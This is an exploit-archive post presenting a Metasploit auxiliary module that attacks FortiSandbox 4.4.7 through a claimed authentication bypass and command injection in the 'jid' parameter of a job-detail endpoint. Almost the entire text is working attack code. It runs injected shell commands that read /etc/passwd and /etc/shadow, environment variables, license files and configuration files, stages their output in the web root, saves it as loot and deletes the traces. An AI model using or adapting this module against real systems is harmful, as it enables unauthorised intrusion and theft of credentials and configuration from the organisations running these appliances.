================================================================================================================================== | # Title : FortiSandbox 4.4.7 Information Gathering Module | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://www.fortinet.com/ | ================================================================================================================================== [+] Summary : This Metasploit auxiliary scanner module is designed to collect system and environment information from vulnerable FortiSandbox instances by leveraging two disclosed vulnerabilities: an authentication bypass and a command injection flaw. The module supports multiple collection modes, including system details, network configuration, user-related information, configuration files, platform-specific artifacts, and job metadata. It automates data collection, reporting, and artifact storage to assist security researchers and defenders in assessment and validation activities. [+] POC : ## # Auxiliary module for information gathering ## class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner def initialize super( 'Name' => 'FortiSandbox Information Gatherer', 'Description' => %q{ This module gathers comprehensive information from vulnerable FortiSandbox instances using CVE-2026-39813 (Auth Bypass) and CVE-2026-39808 (Command Injection). }, 'Author' => ['indoushka'], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2026-39813'], ['CVE', '2026-39808'] ] ) register_options([ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL/TLS', true]), OptString.new('TARGETURI', [true, 'Base path', '/']), OptEnum.new('INFO_TYPE', [true, 'Type of information to gather', 'all', ['all', 'system', 'network', 'users', 'configs', 'forti', 'jobs']]) ]) end def run_host(ip) print_status("Gathering information from #{ip}") case datastore['INFO_TYPE'] when 'all' gather_all_info when 'system' gather_system_info when 'network' gather_network_info when 'users' gather_users_info when 'configs' gather_configs_info when 'forti' gather_forti_info when 'jobs' gather_jobs_info end end def execute_cmd(cmd) output_file = "tmp_#{rand(10000)}.txt" injection_payload = "|#{cmd} > /web/ng/#{output_file} 2>&1|" encoded_payload = Rex::Text.uri_encode(injection_payload) exploit_uri = normalize_uri(target_uri.path, 'fortisandbox', 'job-detail', 'tracer-behavior') res = send_request_cgi({ 'method' => 'GET', 'uri' => exploit_uri, 'vars_get' => { 'jid' => encoded_payload }, 'timeout' => 12 }) Rex.sleep(2) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'ng', output_file), 'timeout' => 12 }) output = res.body if res && res.code == 200 cleanup_cmd = "rm -f /web/ng/#{output_file}" cleanup_payload = "|#{cleanup_cmd}|" send_request_cgi({ 'method' => 'GET', 'uri' => exploit_uri, 'vars_get' => { 'jid' => Rex::Text.uri_encode(cleanup_payload) } }) output end def gather_system_info print_status("Gathering system information...") cmds = { 'uname' => 'uname -a', 'hostname' => 'hostname', 'os' => 'cat /etc/os-release 2>/dev/null', 'uptime' => 'uptime', 'env' => 'env' } cmds.each do |name, cmd| output = execute_cmd(cmd) if output && !output.empty? print_good("#{name.upcase}:\n#{output}") report_note(host: rhost, type: "fortisandbox.#{name}", data: output) end end end def gather_network_info print_status("Gathering network information...") cmds = { 'interfaces' => 'ip a 2>/dev/null || ifconfig', 'routes' => 'route -n 2>/dev/null || ip route', 'connections' => 'netstat -tulnp 2>/dev/null || ss -tulnp', 'hosts' => 'cat /etc/hosts', 'iptables' => 'iptables -L -n 2>/dev/null', 'arp' => 'arp -n 2>/dev/null' } cmds.each do |name, cmd| output = execute_cmd(cmd) if output && !output.empty? print_good("#{name.upcase}:\n#{output[0..500]}#{'...' if output.length > 500}") report_note(host: rhost, type: "fortisandbox.network.#{name}", data: output) end end end def gather_users_info print_status("Gathering user information...") cmds = { 'passwd' => 'cat /etc/passwd', 'shadow' => 'cat /etc/shadow 2>/dev/null', 'groups' => 'groups', 'last_logins' => 'last -a 2>/dev/null', 'processes' => 'ps aux | head -50', 'sessions' => 'who -a 2>/dev/null' } cmds.each do |name, cmd| output = execute_cmd(cmd) if output && !output.empty? print_good("#{name.upcase}:\n#{output[0..500]}") report_note(host: rhost, type: "fortisandbox.users.#{name}", data: output) report_cred(username: name) if name == 'passwd' end end end def gather_configs_info print_status("Gathering configuration files...") configs = [ '/opt/fortisandbox/conf/', '/etc/fortinet/', '/data/fortisandbox/conf/', '/home/fortisandbox/.config/' ] configs.each do |path| cmd = "ls -la #{path} 2>/dev/null" output = execute_cmd(cmd) if output && !output.empty? print_good("Config directory: #{path}\n#{output}") find_cmd = "find #{path} -type f -name '*.conf' -o -name '*.cfg' -o -name '*.ini' 2>/dev/null | head -10" files = execute_cmd(find_cmd) if files files.each_line do |file| file.strip! next if file.empty? content = execute_cmd("head -100 #{file} 2>/dev/null") if content print_status("Content of #{file}:\n#{content[0..500]}") store_loot("fortisandbox.config", "text/plain", rhost, content, file, "FortiSandbox Config") end end end end end end def gather_forti_info print_status("Gathering FortiSandbox specific information...") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'system', 'firmware') }) if res && res.code == 200 begin json = res.get_json_document print_good("FortiSandbox Info via API:") json.each do |k, v| print_status(" #{k}: #{v}") end report_note(host: rhost, type: "fortisandbox.api_info", data: json.to_s) rescue end end cmds = { 'version' => '/opt/fortisandbox/bin/fortisandbox -v 2>/dev/null', 'license' => 'cat /data/fortisandbox/license/* 2>/dev/null', 'jobs' => 'ls -la /data/fortisandbox/jobs/ 2>/dev/null | head -20', 'logs' => 'ls -la /var/log/fortisandbox/ 2>/dev/null | head -20', 'quarantine' => 'ls -la /data/fortisandbox/quarantine/ 2>/dev/null | head -20' } cmds.each do |name, cmd| output = execute_cmd(cmd) if output && !output.empty? print_good("#{name.upcase}:\n#{output[0..300]}") end end end def gather_jobs_info print_status("Gathering job information...") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job', 'list') }) if res && res.code == 200 begin jobs = res.get_json_document print_good("Found #{jobs.size} jobs via API") jobs.each do |job| print_status("Job: #{job}") end report_note(host: rhost, type: "fortisandbox.jobs", data: jobs.to_s) rescue output = execute_cmd('ls -la /data/fortisandbox/jobs/ 2>/dev/null') print_good("Jobs directory:\n#{output}") if output end end end def gather_all_info gather_system_info gather_network_info gather_users_info gather_configs_info gather_forti_info gather_jobs_info print_good("Information gathering completed") end end Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================